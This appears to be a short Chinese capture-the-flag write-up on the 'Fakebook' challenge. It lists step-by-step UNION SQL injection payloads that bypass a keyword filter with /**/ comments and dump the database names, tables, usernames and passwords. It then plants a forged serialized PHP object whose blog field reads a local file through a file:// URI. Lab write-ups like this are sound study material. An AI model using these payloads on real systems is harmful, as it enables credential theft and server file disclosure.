Fakebook

user.php.bak源码

注册完账号查看信息的时候可以看到采用get的方式来搜索序号。

?no=1

相对来说比较简单的注入,过滤了union select,但是可以通过/**/绕过。

?no=0 union/**/select 1,2,3,4;#

易得2为注入点,爆库

?no=0 union/**/select 1,group_concat(distinct TABLE_SCHEMA), 3, 4 from information_schema.tables--

爆表

?no=0 union/**/select 1,group_concat(distinct TABLE_NAME), 3, 4 from information_schema.tables where table_schema='fakebook'--

字段

?no=0 union/**/select 1,group_concat(distinct COLUMN_NAME), 3, 4 from information_schema.columns where table_schema='fakebook' and table_name='users'--

字段内容

?no=0 union/**/select 1, group_concat(no) , 3, 4 from users--
?no=0 union/**/select 1, group_concat(username) , 3, 4 from users--
?no=0 union/**/select 1, group_concat(passwd) , 3, 4 from users--
?no=0 union/**/select 1, group_concat(data) , 3, 4 from users--

其中出来的data为反序列化。

O:8:"UserInfo":3:{s:4:"name";s:7:"oatmeal";s:3:"age";i:18;s:4:"blog";s:17:"http://baidu.com/";}

其中的值对应页面渲染成出来的name age blog,结合源码,推测在用户输入no时,第一时间查询data值,将反序列化后的值序列化后对网页进行渲染。

搞清这个逻辑就比较简单了,既然源码中存在正则过滤,可以通过数据库查询的方式来绕过blog的正则过滤,将想读取的文件放在博客路径内,最后Base64解码。

?no=0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' from users --

最后的目录还是有点小坑爹的,一直在根目录读取,读了个空气。

Last updated